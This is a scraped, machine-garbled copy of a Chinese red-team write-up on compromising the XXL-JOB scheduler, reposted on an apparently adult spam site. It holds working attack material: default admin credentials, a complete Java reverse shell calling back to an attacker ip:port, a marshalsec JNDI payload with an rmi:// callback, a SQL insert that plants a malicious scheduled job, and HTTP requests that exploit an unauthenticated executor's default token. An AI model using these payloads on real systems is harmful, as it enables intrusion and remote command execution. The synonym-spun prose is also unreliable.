人妖telegram-成人色情网 XXL-JOB在委果攻防下的回首

成人色情网 XXL-JOB在委果攻防下的回首

发布日期:2024-10-25 10:51  点击次数:78

成人色情网 XXL-JOB在委果攻防下的回首

勾引英文

图片成人色情网

最近在HW中经常会遭遇XXL-JOB这个组件,也通过这个组件干预了不少考虑单元,那就对该组件的哄骗进行一次回首。一、最基本的操作-策动任务敕令实行

这个操作我折服全球照旧熟的不可再熟了,因为xxl-job的开动化sql语句中设定了默许密码,况且在登入之后不会指示修改默许密码,就变成了xxl-job的默许账号密码为admin/123456。由于xxl-job自己是任务调治的系统,其不错当然实行敕令。泛泛会反弹shell,再进行后浸透,只需要在新建敕令时选拔对应的剧本言语,在GLUE IDE中剪辑敕令,选拔实行一次即可。

图片

图片

图片

这种形貌有几个容易踩坑的点:

1、选拔实行敕令的种类与系统不匹配

图片

因为xxl-job的exector在坐蓐环境中络续跑在docker环境下的linux下,就会变成一个惯性念念维:当咱们拿到一个xxl-job的通常会先使用shell去实行敕令。

图片

当失败的时候就会觉得是环境有问题,打不动。却不知有时xxl-job也不错跑在Windows下。这时候就不错去实行Powerhshell敕令去上线。诚然如果相比懒的话不错顺利实行java代码来上线。岂论Windows和linux齐不错反弹shell。

package com.xxl.job.service.handler;import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.InputStream;import java.io.InputStreamReader;import java.io.OutputStream;import java.io.OutputStreamWriter;import java.net.Socket;public class reverse {class StreamConnectorextends Thread{InputStream hx;OutputStream il;StreamConnector(InputStream hx, OutputStream il){this.hx = hx;this.il = il;}public void run(){BufferedReader ar = null;BufferedWriter slm = null;try{ar = new BufferedReader(new InputStreamReader(this.hx));slm = new BufferedWriter(new OutputStreamWriter(this.il));char[] buffer = new char[8192];int length;while ((length = ar.read(buffer, 0, buffer.length)) > 0){slm.write(buffer, 0, length);slm.flush();}}catch (Exception localException) {}try{if (ar != null) {ar.close();}if (slm != null) {slm.close();}}catch (Exception localException1) {}}}public reverse(){reverseConn('ip:port');}public static void main(String[] args) {System.out.println('0');}public void reverseConn(String ip){String ipport = ip;try{String ShellPath;if (System.getProperty('os.name').toLowerCase().indexOf('windows') == -1) {ShellPath = new String('/bin/sh');} else {ShellPath = new String('cmd.exe');}Socket socket = new Socket(ipport.split(':')[0], Integer.parseInt(ipport.split(':')[1]));Process process = Runtime.getRuntime().exec(ShellPath);new StreamConnector(process.getInputStream(), socket.getOutputStream()).start();new StreamConnector(process.getErrorStream(), socket.getOutputStream()).start();new StreamConnector(socket.getInputStream(), process.getOutputStream()).start();}catch (Exception e){e.printStackTrace();}}}2、反弹shell

在实战中会碰到executor不出网的情况。即实行了反弹shell的敕令之后在vps上未收到回显,这时就要去念念考executor是否出网简略是注册executor是否失效。咱们不错去实行器中稽察其注册形貌

图片

咱们去平素来说自动注册的executor是不会出问题的。因为从代码末端来看xxl-job的executor每隔2min就会向adminer发送心跳解释其存活。而我方注册的可能就不一定不错买通。

二、api未授权拜访

在xxl-job<=2.0.2的时候api存在未授权拜访,有两种形貌不错getshell。

1、哄骗jndi注入去打内存马

这个照旧被东谈主讲过很屡次了,可是哄骗的前提即是需要出网,使用marshalsec去生成payload

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser

再哄骗curl去发包即可,注意尽量使用linux简略Windows的cmd去发包,实测Windows下powershell发包可能会出现一些问题。

curl -XPOST -H 'Content-Type: x-application/hessian' --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api2、去哄骗XSLT去注入内存马

这个应该是最佳使的决策,Nookipop照旧讲过了,在不出网时不错哄骗XSLT去打入内存马,进行敕令实行,打入suo5内存马进行正向代理内网穿透。

三、实行敕令注入内存马

这种雷同是不出网时才辩论的操作。注入的是agent内存马,这个哄骗的条目其实也有点尖刻,一般来说xxl-job的executor络续跑在docker环境下简略散播式部署。而要想注入agent类型的内存马就需要admin端和executor跑在一台主机下。程序即是使用echo程序简略java的写入文献的程序将agent内存马写到考虑主机上,然后在进行加载。

四、奇技淫巧-从数据库getShell

这亦然实战中遭遇的一个案例,考虑单元存在一个nacos的身份伪造误差,得回到了数据库确实立文献,顺利的连上了数据库,诚然咱们不错去尝试udf提权简略猜目次去写马,但我发现数据库中存在xxl_job的数据库,这时候其实就有更多的程序去getshell。

图片

图片

这时候泛泛有两种哄骗形貌:1、得回到xxl-job的密码,登入xxl-job去写策动任务进行敕令实行getshell。2、顺利通过往数据库里写本色进行getshell。

1、登入xxl-job进行getshell

这种形貌泛泛适用于xxl-job-admin的功绩露出在互联网上。咱们不错通过语句select * from information_schema.PROCESSLIST;来判断客户端荟萃。由于我是在腹地跑的环境,这里即是localhost,如果是通过公网ip去荟萃的数据库,咱们就不错定位到其公网ip,扫一下端口即可判断xxl-job-admin是否露出在公网上了。

图片

如果露出在公网上,咱们便不错顺利哄骗,xxl-job密码为md5加密,咱们率先不错尝试md5解密,解不开的话新增一个用户,密码用md5加密即可。登入顺利之后咱们便不错通过策动任务进行敕令实行了。

图片

2、通过向数据库中写入数据进行getshell

这是我无意发现的一个小trick,其实旨趣很简单,xxl-job-admin会定时从数据库中查询待实行的任务,在一定本事内实行。也即是说,咱们只需要往数据库里插入咱们构造好的坏心定时任务。他便会让executor去实行。刻下测试版块为2.4.1(不同版块的xxl-job的数据库结构不太疏通,以最新版的为例,旧版的在之前遭遇的环境中经测试也能买通。)只需要在xxl_job.xxl_job_info中插入这条语句即可。

INSERT INTO `xxl_job`.`xxl_job_info` 
(`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`) 
VALUES (7, 1, '22222', '2023-12-27 14:57:36', '2023-12-27 14:58:23', '22222', '', 'CRON', '0/5 * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_POWERSHELL', 'calc\n', '12312321', '2023-12-27 14:57:48', '', 0, 1703660320000, 1703660325000);

其中有几个值得存眷的点:schedule_type为corn轮询,0/5 * * * * ?则是策动任求实行的本事我这里设定为5秒1次。executor_handler则是实行敕令的类型,我这里因为在Windows下测试,故而选拔为powershell,也可变为GLUE_SHELL简略GLUE_GROOVY等来应酬不同的敕令。当今咱们仅仅插入了敕令,并不可实行,若是想实行,还需要在插入数据之后把trigger_status的值改为1,executor便会自动出手实行咱们输入的敕令。

五、executor未授权拜访

xxl-job的executeor存在未授权拜访误差,指纹如下图所示低版块

图片

高版块

图片

其原因即是admin端与executeor端通过相互发送tcp包进行通讯,袭击者可伪造包,使executeor实行敕令。

1、2.2.0<=XxlJob<=2.4.0维持了RESTFUL API,不错顺利发送http包伪造expPOST /run HTTP/1.1Host: 192.168.226.1:10999Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeXXL-JOB-ACCESS-TOKEN: default_tokenContent-Type: application/jsonContent-Length: 365{'jobId': 1,'executorHandler': 'demoJobHandler','executorParams': 'demoJobHandler','executorBlockStrategy': 'COVER_EARLY','executorTimeout': 0,'logId': 1,'logDateTime': 1586629003729,'glueType': 'GLUE_POWERSHELL','glueSource': 'calc','glueUpdatetime': 1586699003758,'broadcastIndex': 0,'broadcastTotal': 0}2、XxlJob >= 2.4.0添加了默许token作家为了拓荒该误差,添加了默许的token,可是这就如同nacos的jwt秘钥,shiro的默许key一样,由于使用者的卤莽大意不修改该key,照旧不错被哄骗

exp

POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
  'jobId': 1,
  'executorHandler': 'demoJobHandler',
  'executorParams': 'demoJobHandler',
  'executorBlockStrategy': 'COVER_EARLY',
  'executorTimeout': 0,
  'logId': 1,
  'logDateTime': 1586629003729,
  'glueType': 'GLUE_POWERSHELL',
  'glueSource': 'calc',
  'glueUpdatetime': 1586699003758,
  'broadcastIndex': 0,
  'broadcastTotal': 0
}

著述起首: https://xz.aliyun.com/t/13899著述作家:1324419612752959
本站仅提供存储功绩,整个本色均由用户发布,如发现存害或侵权本色,请点击举报。

相关资讯
热点资讯
  • 友情链接:

Powered by 人妖telegram @2013-2022 RSS地图 HTML地图

Copyright Powered by站群系统 © 2013-2024